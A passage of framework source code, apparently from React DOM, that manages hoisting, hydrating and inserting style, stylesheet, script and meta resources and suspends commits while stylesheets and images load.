two different <link> components render in the same slot or share the same key.' +\n              diff,\n          );\n        }\n        return null;\n      }\n    }\n    case 'script': {\n      const async = pendingProps.async;\n      const src = pendingProps.src;\n      if (\n        typeof src === 'string' &&\n        async &&\n        typeof async !== 'function' &&\n        typeof async !== 'symbol'\n      ) {\n        const key = getScriptKey(src);\n        const scripts = getResourcesFromRoot(resourceRoot).hoistableScripts;\n\n        let resource = scripts.get(key);\n        if (!resource) {\n          resource = {\n            type: 'script',\n            instance: null,\n            count: 0,\n            state: null,\n          };\n          scripts.set(key, resource);\n        }\n        return resource;\n      }\n      return {\n        type: 'void',\n        instance: null,\n        count: 0,\n        state: null,\n      };\n    }\n    default: {\n      throw new Error(\n        `getResource encountered a type it did not expect: \"${type}\". this is a bug in React.`,\n      );\n    }\n  }\n}\n\nfunction describeLinkForResourceErrorDEV(props: any) {\n  if (__DEV__) {\n    let describedProps = 0;\n\n    let description = '<link';\n    if (typeof props.rel === 'string') {\n      describedProps++;\n      description += ` rel=\"${props.rel}\"`;\n    } else if (hasOwnProperty.call(props, 'rel')) {\n      describedProps++;\n      description += ` rel=\"${\n        props.rel === null ? 'null' : 'invalid type ' + typeof props.rel\n      }\"`;\n    }\n    if (typeof props.href === 'string') {\n      describedProps++;\n      description += ` href=\"${props.href}\"`;\n    } else if (hasOwnProperty.call(props, 'href')) {\n      describedProps++;\n      description += ` href=\"${\n        props.href === null ? 'null' : 'invalid type ' + typeof props.href\n      }\"`;\n    }\n    if (typeof props.precedence === 'string') {\n      describedProps++;\n      description += ` precedence=\"${props.precedence}\"`;\n    } else if (hasOwnProperty.call(props, 'precedence')) {\n      describedProps++;\n      description += ` precedence={${\n        props.precedence === null\n          ? 'null'\n          : 'invalid type ' + typeof props.precedence\n      }}`;\n    }\n    if (Object.getOwnPropertyNames(props).length > describedProps) {\n      description += ' ...';\n    }\n    description += ' />';\n    return description;\n  }\n  return '';\n}\n\nfunction styleTagPropsFromRawProps(\n  rawProps: StyleTagQualifyingProps,\n): StyleTagProps {\n  return {\n    ...rawProps,\n    'data-href': rawProps.href,\n    'data-precedence': rawProps.precedence,\n    href: null,\n    precedence: null,\n  };\n}\n\nfunction getStyleKey(href: string) {\n  const limitedEscapedHref =\n    escapeSelectorAttributeValueInsideDoubleQuotes(href);\n  return `href=\"${limitedEscapedHref}\"`;\n}\n\nfunction getStyleTagSelector(href: string) {\n  const limitedEscapedHref =\n    escapeSelectorAttributeValueInsideDoubleQuotes(href);\n  return `style[data-href~=\"${limitedEscapedHref}\"]`;\n}\n\nfunction getStylesheetSelectorFromKey(key: string) {\n  return `link[rel=\"stylesheet\"][${key}]`;\n}\n\nfunction getPreloadStylesheetSelectorFromKey(key: string) {\n  return `link[rel=\"preload\"][as=\"style\"][${key}]`;\n}\n\nfunction stylesheetPropsFromRawProps(\n  rawProps: StylesheetQualifyingProps,\n): StylesheetProps {\n  return {\n    ...rawProps,\n    'data-precedence': rawProps.precedence,\n    precedence: null,\n  };\n}\nfunction preloadStylesheet(\n  ownerDocument: Document,\n  key: string,\n  preloadProps: PreloadProps,\n  state: StylesheetState,\n) {\n  const preloadEl = ownerDocument.querySelector(\n    getPreloadStylesheetSelectorFromKey(key),\n  );\n  if (preloadEl) {\n    // If we find a preload already it was SSR'd and we won't have an actual\n    // loading state to track. For now we will just assume it is loaded\n    state.loading = Loaded;\n  } else {\n    const instance = ownerDocument.createElement('link');\n    state.preload = instance;\n    instance.addEventListener('load', () => (state.loading |= Loaded));\n    instance.addEventListener('error', () => (state.loading |= Errored));\n    setInitialProperties(instance, 'link', preloadProps);\n    markNodeAsHoistable(instance);\n    (ownerDocument.head: any).appendChild(instance);\n  }\n}\n\nfunction preloadPropsFromStylesheet(\n  props: StylesheetQualifyingProps,\n): PreloadProps {\n  return {\n    rel: 'preload',\n    as: 'style',\n    href: props.href,\n    crossOrigin: props.crossOrigin,\n    integrity: props.integrity,\n    media: props.media,\n    hrefLang: props.hrefLang,\n    referrerPolicy: props.referrerPolicy,\n  };\n}\n\nfunction getScriptKey(src: string): string {\n  const limitedEscapedSrc = escapeSelectorAttributeValueInsideDoubleQuotes(src);\n  return `[src=\"${limitedEscapedSrc}\"]`;\n}\n\nfunction getScriptSelectorFromKey(key: string): string {\n  return 'script[async]' + key;\n}\n\nexport function acquireResource(\n  hoistableRoot: HoistableRoot,\n  resource: Resource,\n  props: any,\n): null | Instance {\n  resource.count++;\n  if (resource.instance === null) {\n    switch (resource.type) {\n      case 'style': {\n        const qualifiedProps: StyleTagQualifyingProps = props;\n\n        // Attempt to hydrate instance from DOM\n        let instance: null | Instance = hoistableRoot.querySelector(\n          getStyleTagSelector(qualifiedProps.href),\n        );\n        if (instance) {\n          resource.instance = instance;\n          markNodeAsHoistable(instance);\n          return instance;\n        }\n\n        const styleProps = styleTagPropsFromRawProps(props);\n        const ownerDocument = getDocumentFromRoot(hoistableRoot);\n        instance = ownerDocument.createElement('style');\n\n        markNodeAsHoistable(instance);\n        setInitialProperties(instance, 'style', styleProps);\n\n        // TODO: `style` does not have loading state for tracking insertions. I\n        // guess because these aren't suspensey? Not sure whether this is a\n        // factoring smell.\n        // resource.state.loading |= Inserted;\n        insertStylesheet(instance, qualifiedProps.precedence, hoistableRoot);\n        resource.instance = instance;\n\n        return instance;\n      }\n      case 'stylesheet': {\n        // This typing is enforce by `getResource`. If we change the logic\n        // there for what qualifies as a stylesheet resource we need to ensure\n        // this cast still makes sense;\n        const qualifiedProps: StylesheetQualifyingProps = props;\n        const key = getStyleKey(qualifiedProps.href);\n\n        // Attempt to hydrate instance from DOM\n        let instance: null | Instance = hoistableRoot.querySelector(\n          getStylesheetSelectorFromKey(key),\n        );\n        if (instance) {\n          resource.state.loading |= Inserted;\n          resource.instance = instance;\n          markNodeAsHoistable(instance);\n          return instance;\n        }\n\n        const stylesheetProps = stylesheetPropsFromRawProps(props);\n        const preloadProps = preloadPropsMap.get(key);\n        if (preloadProps) {\n          adoptPreloadPropsForStylesheet(stylesheetProps, preloadProps);\n        }\n\n        // Construct and insert a new instance\n        const ownerDocument = getDocumentFromRoot(hoistableRoot);\n        instance = ownerDocument.createElement('link');\n        markNodeAsHoistable(instance);\n        const linkInstance: HTMLLinkElement = (instance: any);\n        (linkInstance: any)._p = new Promise((resolve, reject) => {\n          linkInstance.onload = resolve;\n          linkInstance.onerror = reject;\n        });\n        setInitialProperties(instance, 'link', stylesheetProps);\n        resource.state.loading |= Inserted;\n        insertStylesheet(instance, qualifiedProps.precedence, hoistableRoot);\n        resource.instance = instance;\n\n        return instance;\n      }\n      case 'script': {\n        // This typing is enforce by `getResource`. If we change the logic\n        // there for what qualifies as a stylesheet resource we need to ensure\n        // this cast still makes sense;\n        const borrowedScriptProps: ScriptProps = props;\n        const key = getScriptKey(borrowedScriptProps.src);\n\n        // Attempt to hydrate instance from DOM\n        let instance: null | Instance = hoistableRoot.querySelector(\n          getScriptSelectorFromKey(key),\n        );\n        if (instance) {\n          resource.instance = instance;\n          markNodeAsHoistable(instance);\n          return instance;\n        }\n\n        let scriptProps = borrowedScriptProps;\n        const preloadProps = preloadPropsMap.get(key);\n        if (preloadProps) {\n          scriptProps = {...borrowedScriptProps};\n          adoptPreloadPropsForScript(scriptProps, preloadProps);\n        }\n\n        // Construct and insert a new instance\n        const ownerDocument = getDocumentFromRoot(hoistableRoot);\n        instance = ownerDocument.createElement('script');\n        markNodeAsHoistable(instance);\n        setInitialProperties(instance, 'link', scriptProps);\n        (ownerDocument.head: any).appendChild(instance);\n        resource.instance = instance;\n\n        return instance;\n      }\n      case 'void': {\n        return null;\n      }\n      default: {\n        throw new Error(\n          `acquireResource encountered a resource type it did not expect: \"${resource.type}\". this is a bug in React.`,\n        );\n      }\n    }\n  } else {\n    // In the case of stylesheets, they might have already been assigned an\n    // instance during `suspendResource`. But that doesn't mean they were\n    // inserted, because the commit might have been interrupted. So we need to\n    // check now.\n    //\n    // The other resource types are unaffected because they are not\n    // yet suspensey.\n    //\n    // TODO: This is a bit of a code smell. Consider refactoring how\n    // `suspendResource` and `acquireResource` work together. The idea is that\n    // `suspendResource` does all the same stuff as `acquireResource` except\n    // for the insertion.\n    if (\n      resource.type === 'stylesheet' &&\n      (resource.state.loading & Inserted) === NotLoaded\n    ) {\n      const qualifiedProps: StylesheetQualifyingProps = props;\n      const instance: Instance = resource.instance;\n      resource.state.loading |= Inserted;\n      insertStylesheet(instance, qualifiedProps.precedence, hoistableRoot);\n    }\n  }\n  return resource.instance;\n}\n\nexport function releaseResource(resource: Resource): void {\n  resource.count--;\n}\n\nfunction insertStylesheet(\n  instance: Element,\n  precedence: string,\n  root: HoistableRoot,\n): void {\n  const nodes = root.querySelectorAll(\n    'link[rel=\"stylesheet\"][data-precedence],style[data-precedence]',\n  );\n  const last = nodes.length ? nodes[nodes.length - 1] : null;\n  let prior = last;\n  for (let i = 0; i < nodes.length; i++) {\n    const node = nodes[i];\n    // $FlowFixMe[prop-missing]\n    const nodePrecedence = node.dataset.precedence;\n    if (nodePrecedence === precedence) {\n      prior = node;\n    } else if (prior !== last) {\n      break;\n    }\n  }\n\n  if (prior) {\n    // We get the prior from the document so we know it is in the tree.\n    // We also know that links can't be the topmost Node so the parentNode\n    // must exist.\n    ((prior.parentNode: any): Node).insertBefore(instance, prior.nextSibling);\n  } else {\n    const parent =\n      root.nodeType === DOCUMENT_NODE\n        ? ((((root: any): Document).head: any): Element)\n        : ((root: any): ShadowRoot);\n    parent.insertBefore(instance, parent.firstChild);\n  }\n}\n\nfunction adoptPreloadPropsForStylesheet(\n  stylesheetProps: StylesheetProps,\n  preloadProps: PreloadProps | PreloadModuleProps,\n): void {\n  if (stylesheetProps.crossOrigin == null)\n    stylesheetProps.crossOrigin = preloadProps.crossOrigin;\n  if (stylesheetProps.referrerPolicy == null)\n    stylesheetProps.referrerPolicy = preloadProps.referrerPolicy;\n  if (stylesheetProps.title == null) stylesheetProps.title = preloadProps.title;\n}\n\nfunction adoptPreloadPropsForScript(\n  scriptProps: ScriptProps,\n  preloadProps: PreloadProps | PreloadModuleProps,\n): void {\n  if (scriptProps.crossOrigin == null)\n    scriptProps.crossOrigin = preloadProps.crossOrigin;\n  if (scriptProps.referrerPolicy == null)\n    scriptProps.referrerPolicy = preloadProps.referrerPolicy;\n  if (scriptProps.integrity == null)\n    scriptProps.integrity = preloadProps.integrity;\n}\n\ntype KeyedTagCache = Map<string, Array<Element>>;\ntype DocumentTagCaches = Map<Document, KeyedTagCache>;\nlet tagCaches: null | DocumentTagCaches = null;\n\nexport function hydrateHoistable(\n  hoistableRoot: HoistableRoot,\n  type: HoistableTagType,\n  props: any,\n  internalInstanceHandle: Object,\n): Instance {\n  const ownerDocument = getDocumentFromRoot(hoistableRoot);\n\n  let instance: ?Instance = null;\n  getInstance: switch (type) {\n    case 'title': {\n      instance = ownerDocument.getElementsByTagName('title')[0];\n      if (\n        !instance ||\n        isOwnedInstance(instance) ||\n        instance.namespaceURI === SVG_NAMESPACE ||\n        instance.hasAttribute('itemprop')\n      ) {\n        instance = ownerDocument.createElement(type);\n        (ownerDocument.head: any).insertBefore(\n          instance,\n          ownerDocument.querySelector('head > title'),\n        );\n      }\n      setInitialProperties(instance, type, props);\n      precacheFiberNode(internalInstanceHandle, instance);\n      markNodeAsHoistable(instance);\n      return instance;\n    }\n    case 'link': {\n      const cache = getHydratableHoistableCache('link', 'href', ownerDocument);\n      const key = type + (props.href || '');\n      const maybeNodes = cache.get(key);\n      if (maybeNodes) {\n        const nodes = maybeNodes;\n        for (let i = 0; i < nodes.length; i++) {\n          const node = nodes[i];\n          if (\n            node.getAttribute('href') !==\n              (props.href == null || props.href === '' ? null : props.href) ||\n            node.getAttribute('rel') !==\n              (props.rel == null ? null : props.rel) ||\n            node.getAttribute('title') !==\n              (props.title == null ? null : props.title) ||\n            node.getAttribute('crossorigin') !==\n              (props.crossOrigin == null ? null : props.crossOrigin)\n          ) {\n            // mismatch, try the next node;\n            continue;\n          }\n          instance = node;\n          nodes.splice(i, 1);\n          break getInstance;\n        }\n      }\n      instance = ownerDocument.createElement(type);\n      setInitialProperties(instance, type, props);\n      (ownerDocument.head: any).appendChild(instance);\n      break;\n    }\n    case 'meta': {\n      const cache = getHydratableHoistableCache(\n        'meta',\n        'content',\n        ownerDocument,\n      );\n      const key = type + (props.content || '');\n      const maybeNodes = cache.get(key);\n      if (maybeNodes) {\n        const nodes = maybeNodes;\n        for (let i = 0; i < nodes.length; i++) {\n          const node = nodes[i];\n\n          // We coerce content to string because it is the most likely one to\n          // use a `toString` capable value. For the rest we just do identity match\n          // passing non-strings here is not really valid anyway.\n          if (__DEV__) {\n            checkAttributeStringCoercion(props.content, 'content');\n          }\n          if (\n            node.getAttribute('content') !==\n              (props.content == null ? null : '' + props.content) ||\n            node.getAttribute('name') !==\n              (props.name == null ? null : props.name) ||\n            node.getAttribute('property') !==\n              (props.property == null ? null : props.property) ||\n            node.getAttribute('http-equiv') !==\n              (props.httpEquiv == null ? null : props.httpEquiv) ||\n            node.getAttribute('charset') !==\n              (props.charSet == null ? null : props.charSet)\n          ) {\n            // mismatch, try the next node;\n            continue;\n          }\n          instance = node;\n          nodes.splice(i, 1);\n          break getInstance;\n        }\n      }\n      instance = ownerDocument.createElement(type);\n      setInitialProperties(instance, type, props);\n      (ownerDocument.head: any).appendChild(instance);\n      break;\n    }\n    default:\n      throw new Error(\n        `getNodesForType encountered a type it did not expect: \"${type}\". This is a bug in React.`,\n      );\n  }\n\n  // This node is a match\n  precacheFiberNode(internalInstanceHandle, instance);\n  markNodeAsHoistable(instance);\n  return instance;\n}\n\nfunction getHydratableHoistableCache(\n  type: HoistableTagType,\n  keyAttribute: string,\n  ownerDocument: Document,\n): KeyedTagCache {\n  let cache: KeyedTagCache;\n  let caches: DocumentTagCaches;\n  if (tagCaches === null) {\n    cache = new Map();\n    caches = tagCaches = new Map();\n    caches.set(ownerDocument, cache);\n  } else {\n    caches = tagCaches;\n    const maybeCache = caches.get(ownerDocument);\n    if (!maybeCache) {\n      cache = new Map();\n      caches.set(ownerDocument, cache);\n    } else {\n      cache = maybeCache;\n    }\n  }\n\n  if (cache.has(type)) {\n    // We use type as a special key that signals that this cache has been seeded for this type\n    return cache;\n  }\n\n  // Mark this cache as seeded for this type\n  cache.set(type, (null: any));\n\n  const nodes = ownerDocument.getElementsByTagName(type);\n  for (let i = 0; i < nodes.length; i++) {\n    const node = nodes[i];\n    if (\n      !isOwnedInstance(node) &&\n      (type !== 'link' || node.getAttribute('rel') !== 'stylesheet') &&\n      node.namespaceURI !== SVG_NAMESPACE\n    ) {\n      const nodeKey = node.getAttribute(keyAttribute) || '';\n      const key = type + nodeKey;\n      const existing = cache.get(key);\n      if (existing) {\n        existing.push(node);\n      } else {\n        cache.set(key, [node]);\n      }\n    }\n  }\n\n  return cache;\n}\n\nexport function mountHoistable(\n  hoistableRoot: HoistableRoot,\n  type: HoistableTagType,\n  instance: Instance,\n): void {\n  const ownerDocument = getDocumentFromRoot(hoistableRoot);\n  (ownerDocument.head: any).insertBefore(\n    instance,\n    type === 'title' ? ownerDocument.querySelector('head > title') : null,\n  );\n}\n\nexport function unmountHoistable(instance: Instance): void {\n  (instance.parentNode: any).removeChild(instance);\n}\n\nexport function isHostHoistableType(\n  type: string,\n  props: RawProps,\n  hostContext: HostContext,\n): boolean {\n  let outsideHostContainerContext: boolean;\n  let hostContextProd: HostContextProd;\n  if (__DEV__) {\n    const hostContextDev: HostContextDev = (hostContext: any);\n    // We can only render resources when we are not within the host container context\n    outsideHostContainerContext =\n      !hostContextDev.ancestorInfo.containerTagInScope;\n    hostContextProd = hostContextDev.context;\n  } else {\n    hostContextProd = (hostContext: any);\n  }\n\n  // Global opt out of hoisting for anything in SVG Namespace or anything with an itemProp inside an itemScope\n  if (hostContextProd === HostContextNamespaceSvg || props.itemProp != null) {\n    if (__DEV__) {\n      if (\n        outsideHostContainerContext &&\n        props.itemProp != null &&\n        (type === 'meta' ||\n          type === 'title' ||\n          type === 'style' ||\n          type === 'link' ||\n          type === 'script')\n      ) {\n        console.error(\n          'Cannot render a <%s> outside the main document if it has an `itemProp` prop. `itemProp` suggests the tag belongs to an' +\n            ' `itemScope` which can appear anywhere in the DOM. If you were intending for React to hoist this <%s> remove the `itemProp` prop.' +\n            ' Otherwise, try moving this tag into the <head> or <body> of the Document.',\n          type,\n          type,\n        );\n      }\n    }\n    return false;\n  }\n\n  switch (type) {\n    case 'meta':\n    case 'title': {\n      return true;\n    }\n    case 'style': {\n      if (\n        typeof props.precedence !== 'string' ||\n        typeof props.href !== 'string' ||\n        props.href === ''\n      ) {\n        if (__DEV__) {\n          if (outsideHostContainerContext) {\n            console.error(\n              'Cannot render a <style> outside the main document without knowing its precedence and a unique href key.' +\n                ' React can hoist and deduplicate <style> tags if you provide a `precedence` prop along with an `href` prop that' +\n                ' does not conflict with the `href` values used in any other hoisted <style> or <link rel=\"stylesheet\" ...> tags. ' +\n                ' Note that hoisting <style> tags is considered an advanced feature that most will not use directly.' +\n                ' Consider moving the <style> tag to the <head> or consider adding a `precedence=\"default\"` and `href=\"some unique resource identifier\"`.',\n            );\n          }\n        }\n        return false;\n      }\n      return true;\n    }\n    case 'link': {\n      if (\n        typeof props.rel !== 'string' ||\n        typeof props.href !== 'string' ||\n        props.href === '' ||\n        props.onLoad ||\n        props.onError\n      ) {\n        if (__DEV__) {\n          if (\n            props.rel === 'stylesheet' &&\n            typeof props.precedence === 'string'\n          ) {\n            validateLinkPropsForStyleResource(props);\n          }\n          if (outsideHostContainerContext) {\n            if (\n              typeof props.rel !== 'string' ||\n              typeof props.href !== 'string' ||\n              props.href === ''\n            ) {\n              console.error(\n                'Cannot render a <link> outside the main document without a `rel` and `href` prop.' +\n                  ' Try adding a `rel` and/or `href` prop to this <link> or moving the link into the <head> tag',\n              );\n            } else if (props.onError || props.onLoad) {\n              console.error(\n                'Cannot render a <link> with onLoad or onError listeners outside the main document.' +\n                  ' Try removing onLoad={...} and onError={...} or moving it into the root <head> tag or' +\n                  ' somewhere in the <body>.',\n              );\n            }\n          }\n        }\n        return false;\n      }\n      switch (props.rel) {\n        case 'stylesheet': {\n          const {precedence, disabled} = props;\n          if (__DEV__) {\n            if (typeof precedence !== 'string') {\n              if (outsideHostContainerContext) {\n                console.error(\n                  'Cannot render a <link rel=\"stylesheet\" /> outside the main document without knowing its precedence.' +\n                    ' Consider adding precedence=\"default\" or moving it into the root <head> tag.',\n                );\n              }\n            }\n          }\n          return typeof precedence === 'string' && disabled == null;\n        }\n        default: {\n          return true;\n        }\n      }\n    }\n    case 'script': {\n      const isAsync =\n        props.async &&\n        typeof props.async !== 'function' &&\n        typeof props.async !== 'symbol';\n      if (\n        !isAsync ||\n        props.onLoad ||\n        props.onError ||\n        !props.src ||\n        typeof props.src !== 'string'\n      ) {\n        if (__DEV__) {\n          if (outsideHostContainerContext) {\n            if (!isAsync) {\n              console.error(\n                'Cannot render a sync or defer <script> outside the main document without knowing its order.' +\n                  ' Try adding async=\"\" or moving it into the root <head> tag.',\n              );\n            } else if (props.onLoad || props.onError) {\n              console.error(\n                'Cannot render a <script> with onLoad or onError listeners outside the main document.' +\n                  ' Try removing onLoad={...} and onError={...} or moving it into the root <head> tag or' +\n                  ' somewhere in the <body>.',\n              );\n            } else {\n              console.error(\n                'Cannot render a <script> outside the main document without `async={true}` and a non-empty `src` prop.' +\n                  ' Ensure there is a valid `src` and either make the script async or move it into the root <head> tag or' +\n                  ' somewhere in the <body>.',\n              );\n            }\n          }\n        }\n        return false;\n      }\n      return true;\n    }\n    case 'noscript':\n    case 'template': {\n      if (__DEV__) {\n        if (outsideHostContainerContext) {\n          console.error(\n            'Cannot render <%s> outside the main document. Try moving it into the root <head> tag.',\n            type,\n          );\n        }\n      }\n      return false;\n    }\n  }\n  return false;\n}\n\nexport function maySuspendCommit(type: Type, props: Props): boolean {\n  if (!enableSuspenseyImages && !enableViewTransition) {\n    return false;\n  }\n  // Suspensey images are the default, unless you opt-out of with either\n  // loading=\"lazy\" or onLoad={...} which implies you're ok waiting.\n  return (\n    type === 'img' &&\n    props.src != null &&\n    props.src !== '' &&\n    props.onLoad == null &&\n    props.loading !== 'lazy'\n  );\n}\n\nexport function maySuspendCommitOnUpdate(\n  type: Type,\n  oldProps: Props,\n  newProps: Props,\n): boolean {\n  return (\n    maySuspendCommit(type, newProps) &&\n    (newProps.src !== oldProps.src || newProps.srcSet !== oldProps.srcSet)\n  );\n}\n\nexport function maySuspendCommitInSyncRender(\n  type: Type,\n  props: Props,\n): boolean {\n  // TODO: Allow sync lanes to suspend too with an opt-in.\n  return false;\n}\n\nexport function mayResourceSuspendCommit(resource: Resource): boolean {\n  return (\n    resource.type === 'stylesheet' &&\n    (resource.state.loading & Inserted) === NotLoaded\n  );\n}\n\nexport function preloadInstance(\n  instance: Instance,\n  type: Type,\n  props: Props,\n): boolean {\n  // We don't need to preload Suspensey images because the browser will\n  // load them early once we set the src.\n  // If we return true here, we'll still get a suspendInstance call in the\n  // pre-commit phase to determine if we still need to decode the image or\n  // if was dropped from cache. This just avoids rendering Suspense fallback.\n  return !!(instance: any).complete;\n}\n\nexport function preloadResource(resource: Resource): boolean {\n  if (\n    resource.type === 'stylesheet' &&\n    (resource.state.loading & Settled) === NotLoaded\n  ) {\n    // Return false to indicate this resource should suspend\n    return false;\n  }\n\n  // Return true to indicate this resource should not suspend\n  return true;\n}\n\nexport opaque type SuspendedState = {\n  stylesheets: null | Map<StylesheetResource, HoistableRoot>,\n  count: number, // suspensey css and active view transitions\n  imgCount: number, // suspensey images pending to load\n  imgBytes: number, // number of bytes we estimate needing to download\n  suspenseyImages: Array<HTMLImageElement>, // instances of suspensey images (whether loaded or not)\n  waitingForImages: boolean, // false when we're no longer blocking on images\n  waitingForViewTransition: boolean,\n  unsuspend: null | (() => void),\n};\n\nexport function startSuspendingCommit(): SuspendedState {\n  return {\n    stylesheets: null,\n    count: 0,\n    imgCount: 0,\n    imgBytes: 0,\n    suspenseyImages: [],\n    waitingForImages: true,\n    waitingForViewTransition: false,\n    // We use a noop function when we begin suspending because if possible we want the\n    // waitfor step to finish synchronously. If it doesn't we'll return a function to\n    // provide the actual unsuspend function and that will get completed when the count\n    // hits zero or it will get cancelled if the root starts new work.\n    unsuspend: noop,\n  };\n}\n\nfunction estimateImageBytes(instance: HTMLImageElement): number {\n  const width: number = instance.width || 100;\n  const height: number = instance.height || 100;\n  const pixelRatio: number =\n    typeof devicePixelRatio === 'number' ? devicePixelRatio : 1;\n  const pixelsToDownload = width * height * pixelRatio;\n  const AVERAGE_BYTE_PER_PIXEL = 0.25;\n  return pixelsToDownload * AVERAGE_BYTE_PER_PIXEL;\n}\n\nexport function suspendInstance(\n  state: SuspendedState,\n  instance: Instance,\n  type: Type,\n  props: Props,\n): void {\n  if (!enableSuspenseyImages && !enableViewTransition) {\n    return;\n  }\n  if (\n    // $FlowFixMe[prop-missing]\n    typeof instance.decode === 'function'\n  ) {\n    // If this browser supports decode() API, we use it to suspend waiting on the image.\n    // The loading should have already started at this point, so it should be enough to\n    // just call decode() which should also wait for the data to finish loading.\n    state.imgCount++;\n    // Estimate the byte size that we're about to download based on the width/height\n    // specified in the props. This is best practice to know ahead of time but if it's\n    // unspecified we'll fallback to a guess of 100x100 pixels.\n    if (!(instance: any).complete) {\n      state.imgBytes += estimateImageBytes((instance: any));\n      state.suspenseyImages.push((instance: any));\n    }\n    const ping = onUnsuspendImg.bind(state);\n    // $FlowFixMe[prop-missing]\n    instance.decode().then(ping, ping);\n  }\n}\n\nexport function suspendResource(\n  state: SuspendedState,\n  hoistableRoot: HoistableRoot,\n  resource: Resource,\n  props: any,\n): void {\n  if (resource.type === 'stylesheet') {\n    if (typeof props.media === 'string') {\n      // If we don't currently match media we avoid suspending on this resource\n      // and let it insert on the mutation path\n      if (matchMedia(props.media).matches === false) {\n        return;\n      }\n    }\n    if ((resource.state.loading & Inserted) === NotLoaded) {\n      if (resource.instance === null) {\n        const qualifiedProps: StylesheetQualifyingProps = props;\n        const key = getStyleKey(qualifiedProps.href);\n\n        // Attempt to hydrate instance from DOM\n        let instance: null | Instance = hoistableRoot.querySelector(\n          getStylesheetSelectorFromKey(key),\n        );\n        if (instance) {\n          // If this instance has a loading state it came from the Fizz runtime.\n          // If there is not loading state it is assumed to have been server rendered\n          // as part of the preamble and therefore synchronously loaded. It could have\n          // errored however which we still do not yet have a means to detect. For now\n          // we assume it is loaded.\n          const maybeLoadingState: ?Promise<mixed> = (instance: any)._p;\n          if (\n            maybeLoadingState !== null &&\n            typeof maybeLoadingState === 'object' &&\n            // $FlowFixMe[method-unbinding]\n            typeof maybeLoadingState.then === 'function'\n          ) {\n            const loadingState = maybeLoadingState;\n            state.count++;\n            const ping = onUnsuspend.bind(state);\n            loadingState.then(ping, ping);\n          }\n          resource.state.loading |= Inserted;\n          resource.instance = instance;\n          markNodeAsHoistable(instance);\n          return;\n        }\n\n        const ownerDocument = getDocumentFromRoot(hoistableRoot);\n\n        const stylesheetProps = stylesheetPropsFromRawProps(props);\n        const preloadProps = preloadPropsMap.get(key);\n        if (preloadProps) {\n          adoptPreloadPropsForStylesheet(stylesheetProps, preloadProps);\n        }\n\n        // Construct and insert a new instance\n        instance = ownerDocument.createElement('link');\n        markNodeAsHoistable(instance);\n        const linkInstance: HTMLLinkElement = (instance: any);\n        // This Promise is a loading state used by the Fizz runtime. We need this incase there is a race\n        // between this resource being rendered on the client and being rendered with a late completed boundary.\n        (linkInstance: any)._p = new Promise((resolve, reject) => {\n          linkInstance.onload = resolve;\n          linkInstance.onerror = reject;\n        });\n        setInitialProperties(instance, 'link', stylesheetProps);\n        resource.instance = instance;\n      }\n\n      if (state.stylesheets === null) {\n        state.stylesheets = new Map();\n      }\n      state.stylesheets.set(resource, hoistableRoot);\n\n      const preloadEl = resource.state.preload;\n      if (preloadEl && (resource.state.loading & Settled) === NotLoaded) {\n        state.count++;\n        const ping = onUnsuspend.bind(state);\n        preloadEl.addEventListener('load', ping);\n        preloadEl.addEventListener('error', ping);\n      }\n    }\n  }\n}\n\nexport function suspendOnActiveViewTransition(\n  state: SuspendedState,\n  rootContainer: Container,\n): void {\n  const ownerDocument =\n    rootContainer.nodeType === DOCUMENT_NODE\n      ? rootContainer\n      : rootContainer.ownerDocument;\n  // $FlowFixMe[prop-missing]\n  const activeViewTransition = ownerDocument.__reactViewTransition;\n  if (activeViewTransition == null) {\n    return;\n  }\n  state.count++;\n  state.waitingForViewTransition = true;\n  const ping = onUnsuspend.bind(state);\n  activeViewTransition.finished.then(ping, ping);\n}\n\nconst SUSPENSEY_STYLESHEET_TIMEOUT = 60000;\n\nconst SUSPENSEY_IMAGE_TIMEOUT = 800;\n\nconst SUSPENSEY_IMAGE_TIME_ESTIMATE = 500;\n\nlet estimatedBytesWithinLimit: number = 0;\n\nexport function waitForCommitToBeReady(\n  state: SuspendedState,\n  timeoutOffset: number,\n): null | ((() => void) => () => void) {\n  if (state.stylesheets && state.count === 0) {\n    // We are not currently blocked but we have not inserted all stylesheets.\n    // If this insertion happens and loads or errors synchronously then we can\n    // avoid suspending the commit. To do this we check the count again immediately after\n    insertSuspendedStylesheets(state, state.stylesheets);\n  }\n\n  // We need to check the count again because the inserted stylesheets may have led to new\n  // tasks to wait on.\n  if (state.count > 0 || state.imgCount > 0) {\n    return commit => {\n      // We almost never want to show content before its styles have loaded. But\n      // eventually we will give up and allow unstyled content. So this number is\n      // somewhat arbitrary — big enough that you'd only reach it under\n      // extreme circumstances.\n      // TODO: Figure out what the browser engines do during initial page load and\n      // consider aligning our behavior with that.\n      const stylesheetTimer = setTimeout(() => {\n        if (state.stylesheets) {\n          insertSuspendedStylesheets(state, state.stylesheets);\n        }\n        if (state.unsuspend) {\n          const unsuspend = state.unsuspend;\n          state.unsuspend = null;\n          unsuspend();\n        }\n      }, SUSPENSEY_STYLESHEET_TIMEOUT + timeoutOffset);\n\n      if (state.imgBytes > 0 && estimatedBytesWithinLimit === 0) {\n        // Estimate how many bytes we can download in 500ms.\n        const mbps = estimateBandwidth();\n        estimatedBytesWithinLimit = mbps * 125 * SUSPENSEY_IMAGE_TIME_ESTIMATE;\n      }\n      // If we have more images to download than we expect to fit in the timeout, then\n      // don't wait for images longer than 50ms. The 50ms lets us still do decoding and\n      // hitting caches if it turns out that they're already in the HTTP cache.\n      const imgTimeout =\n        state.imgBytes > estimatedBytesWithinLimit\n          ? 50\n          : SUSPENSEY_IMAGE_TIMEOUT;\n      const imgTimer = setTimeout(() => {\n        // We're no longer blocked on images. If CSS resolves after this we can commit.\n        state.waitingForImages = false;\n        if (state.count === 0) {\n          if (state.stylesheets) {\n            insertSuspendedStylesheets(state, state.stylesheets);\n          }\n          if (state.unsuspend) {\n            const unsuspend = state.unsuspend;\n            state.unsuspend = null;\n            unsuspend();\n          }\n        }\n      }, imgTimeout + timeoutOffset);\n\n      state.unsuspend = commit;\n\n      return () => {\n        state.unsuspend = null;\n        clearTimeout(stylesheetTimer);\n        clearTimeout(imgTimer);\n      };\n    };\n  }\n  return null;\n}\n\nexport function getSuspendedCommitReason(\n  state: SuspendedState,\n  rootContainer: Container,\n): null | string {\n  if (state.waitingForViewTransition) {\n    return 'Waiting for the previous Animation';\n  }\n  if (state.count > 0) {\n    if (state.imgCount > 0) {\n      return 'Suspended on CSS and Images';\n    }\n    return 'Suspended on CSS';\n  }\n  if (state.imgCount === 1) {\n    return 'Suspended on an Image';\n  }\n  if (state.imgCount > 0) {\n    return 'Suspended on Images';\n  }\n  return null;\n}\n\nfunction checkIfFullyUnsuspended(state: SuspendedState) {\n  if (state.count === 0 && (state.imgCount === 0 || !state.waitingForImages)) 